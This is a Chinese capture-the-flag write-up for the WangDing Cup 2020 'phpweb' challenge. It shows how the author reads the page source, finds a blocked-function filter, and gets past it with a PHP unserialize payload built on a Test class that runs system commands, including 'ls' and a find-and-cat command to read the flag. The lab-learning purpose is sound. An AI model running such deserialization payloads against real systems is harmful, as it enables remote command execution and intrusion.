[网鼎杯 2020 朱雀组]phpweb

打开靶机,抓包分析,获得连个关键参数func和p,根据初始页面提示了解连个参数大概是功能和功能参数
图片[1]-[网鼎杯 2020 朱雀组]phpweb - 千百度社区-千百度社区
测试func=system&p=ls提示hacker..说明有检测过滤
图片[2]-[网鼎杯 2020 朱雀组]phpweb - 千百度社区-千百度社区
那么我们先读取源码看看func=readfile&p=index.php

点击查看代码
 func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

发现一系列禁用函数和一个类的定义,类的定义里有魔术方法__destruct(析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行),这里理所应当想到利用func=unserialize且发现unserialize没有被禁用,利用链就是利用func反序列函数调用魔术方法里的func调用,从而达到过滤的绕过

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

图片[3]-[网鼎杯 2020 朱雀组]phpweb - 千百度社区-千百度社区
发现可行后寻找flag

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}
得到flag

千百度
© 版权声明
THE END
喜欢就支持一下吧
点赞111 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容